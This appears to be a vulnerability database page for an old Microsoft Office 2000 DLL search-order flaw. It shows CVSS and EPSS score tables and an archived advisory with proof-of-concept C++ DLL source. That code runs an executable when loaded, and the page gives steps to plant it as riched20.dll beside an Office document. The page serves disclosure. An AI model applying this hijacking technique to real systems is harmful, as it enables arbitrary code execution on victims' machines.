CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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When a Microsoft Office 2000 document is launched, the directory of that document is first used to locate DLL's such as riched20.dll and msi.dll, which could allow an attacker to execute arbitrary commands by inserting a Trojan Horse DLL into the same directory as the document.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
21.12%
–
–
2022-04-03
–
–
21.12%
–
–
2023-02-26
–
–
21.12%
–
–
2023-03-12
–
–
–
0.65%
–
2023-04-09
–
–
–
0.72%
–
2023-10-15
–
–
–
1.81%
–
2024-02-11
–
–
–
1.81%
–
2024-06-02
–
–
–
1.81%
–
2024-10-27
–
–
–
1.81%
–
2024-11-03
–
–
–
1.81%
–
2024-12-22
–
–
–
3.48%
–
2025-02-09
–
–
–
3.48%
–
2025-01-19
–
–
–
3.48%
–
2025-02-16
–
–
–
3.48%
–
2025-03-18
–
–
–
–
33.96%
2025-03-30
–
–
–
–
32.13%
2025-04-06
–
–
–
–
37.75%
2025-04-06
–
–
–
–
37.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2000-09-17 22h00 +00:00 Author : Georgi Guninski EDB Verified : Yes
source: https://www.securityfocus.com/bid/1699/info
When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files.
The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer.
This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad.
This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers.
// dll1.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "stdlib.h"
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
MessageBox(NULL, "Hello world!", "Info", MB_OK);
MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
system("C:\\TEST.EXE");
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
// MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK);
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE;
}
1) Rename dll1.dll to riched20.dll
2) Place riched20.dll in a directory of your choice
3) Close all Office applications
4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll